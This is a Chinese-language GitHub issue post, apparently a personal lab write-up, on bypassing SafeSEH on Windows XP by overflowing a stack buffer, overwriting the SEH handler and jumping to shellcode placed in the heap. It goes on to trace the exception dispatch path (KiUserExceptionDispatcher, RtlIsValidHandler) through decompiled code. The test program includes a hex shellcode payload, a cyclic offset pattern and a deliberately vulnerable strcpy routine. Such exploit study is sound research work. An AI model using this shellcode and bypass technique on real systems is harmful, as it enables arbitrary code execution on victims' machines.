articles icon indicating copy to clipboard operation
articles copied to clipboard

利用堆绕过SafeSEH及SEH异常机制分析

Open xinali opened this issue 6 years ago • 0 comments

利用堆绕过SafeSEH及SEH异常机制分析

环境

windows xp sp3
vs 2013 

测试代码


#include <Windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma warning(disable:4996)

char shellcode1[] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x4f\x15\x00";

char shellcode2[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak";

void test(char *input)
{
	char buf[200];
	strcpy(buf, input);
    int zero = 0;
    zero = 1 / zero;
}

int main()
{


	char *buf = (char*)malloc(500);
    strcpy(buf, shellcode2);
	test(shellcode2);
	return 0;
}

首先利用shellcode2确定溢出长度,以溢出seh handler

1542202219961

构建shellcode,并执行,期间遇到了一个问题,每次调试中确定的malloc返回的地址,每编译一次可能再次执行会变化一次,所以shellcode确定的地址不一定有用。

1542202960760

所以执行起来也不对

1542203027964

shellcode对应的堆地址设置成为0x00153630,重新编译

1542203674860

试用了3种方式,只有windbg能够复现,别的都不行。但是证明了利用堆确实可以跳过SafeSEH

针对以上这种情况分别在xp sp2xp sp3进行了多次实验,以确定为什么不能成功执行shellcode

最终确定主要的原因是,我利用宿主机器编译的代码,复制到虚拟机执行,如果利用windbg调试,必须两次复制的文件在同一位置,并且测试shellcode也必须使用windbg调试测试。如果直接双击,或者使用别的调试器,都不一定会执行。

分析KiUserExceptionDispatcher(SEH异常机制分析)

上一篇分析的SEH,讲的糊里糊涂的,并且没有ida载入符号,这里趁着分析堆绕过SafeSEH再重新跟一下SEH形成机制。

在遇到异常时,ring3下首先调用的就是KiUserExceptionDispatcher

1542287184938

KiUserExceptionDispatcher中会最先调用_RtlDispatchException@8去处理异常。如果处理不了,再调用 _ZwContinue@8或者调用_RtlRaiseException@4抛出异常。

1542287428258

继续调试,跟进_RtlDispatchException@8,看看它会不会调用堆中的shellcode

1542287896859

第一个函数RtlCallVectoredExceptionHandlers涉及到VEH,这个不太懂,略过。

RtlpGetStackLimits判断一下栈空间地址合不合法。

RtlpGetRegistrationHead得到fs:[0],因为fs:[0]+4就是我们覆盖的exception_handler地址。

之后是对fs的一些判断,其中有一个比较重要的函数

char __stdcall RtlIsValidHandler(unsigned int a1)
{
  int v2; // ebx
  int v3; // esi
  int v4; // edx
  unsigned int v5; // edi
  int v6; // ecx
  unsigned int v7; // eax
  char v8; // [esp+Ch] [ebp-34h]
  int v9; // [esp+10h] [ebp-30h]
  char v10; // [esp+20h] [ebp-20h]
  int v11; // [esp+24h] [ebp-1Ch]
  char v12; // [esp+28h] [ebp-18h]
  int v13; // [esp+2Ch] [ebp-14h]
  int v14; // [esp+30h] [ebp-10h]
  int v15; // [esp+34h] [ebp-Ch]
  int v16; // [esp+38h] [ebp-8h]

  v15 = 0;
  v2 = RtlLookupFunctionTable(a1, (unsigned int *)&v13, (int)&v16);
  v14 = v2;
  if ( v2 && v16 )
  {
    if ( v2 != -1 || v16 != -1 )
    {
      v5 = a1 - v13;
      v4 = 0;
      v3 = v16;
      while ( v3 >= v4 )
      {
        v6 = (v3 + v4) >> 1;
        v7 = *(_DWORD *)(v2 + 4 * v6);
        if ( v5 < v7 )
        {
          if ( !v6 )
            break;
          v3 = v6 - 1;
        }
        else
        {
          if ( v5 <= v7 )
            return 1;
          v4 = v6 + 1;
        }
      }
      RtlInvalidHandlerDetected(a1, v2, v16);
    }
    return 0;
  }
  if ( ZwQueryInformationProcess(-1, 34, (int)&v15, 4, 0) >= 0 && v15 & 0x10
    || NtQueryVirtualMemory(-1, a1, 0, &v8, 28, &v12) < 0 )
  {
    return 1;
  }
  if ( v10 & 0xF0 )
  {
    if ( v11 == 0x1000000 )
    {
      RtlCaptureImageExceptionValues(v9, &v14, &v16);
      if ( v14 )
      {
        if ( v16 )
          return 0;
      }
    }
    return 1;
  }
  RtlInvalidHandlerDetected(a1, -2, -2);
  return 0;
}

其判断了虚拟内存和进程的一些信息是否合法。如果不合法会调用 RtlInvalidHandlerDetected

int __stdcall RtlInvalidHandlerDetected(int a1, int a2, int a3)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-328h]
  int v5; // [esp+4h] [ebp-324h]
  int v6; // [esp+Ch] [ebp-31Ch]
  int v7; // [esp+10h] [ebp-318h]
  int v8; // [esp+14h] [ebp-314h]
  int *v9; // [esp+50h] [ebp-2D8h]
  int *v10; // [esp+54h] [ebp-2D4h]
  int v11; // [esp+58h] [ebp-2D0h]
  char v12; // [esp+5Ch] [ebp-2CCh]

  if ( a2 == -2 && a3 == -2 )
  {
    v11 = 0;
    memset(&v5, 0, 0x4Cu);
    memset(&v12, 0, 0x2C8u);
    v9 = &v4;
    v10 = &v11;
    v5 = 1;
    v7 = 1;
    v4 = -1073741819;
    v6 = a1;
    v8 = 8;
    result = RtlCallKernel32UnhandledExceptionFilter(&v9);
  }
  return result;

如果上述所有的判断均通过,那么就来到了真正的异常处理函数

1542289332601

接着跟

1542289357634

再跟

1542289375572

再跟

1542289400307

最后调用了我们的seh_exception_handler,windbg验证一下

进入_RtlpExecuteHandlerForException@20

1542289621872

执行ExecuteHandler@20

1542289730686

跳转到堆中执行

1542289822447

成功执行

1542290116286

至此,基本跟着流程完成了SEH异常处理的处理流程(其中不涉及内核部分)

xinali avatar Nov 15 '18 14:11 xinali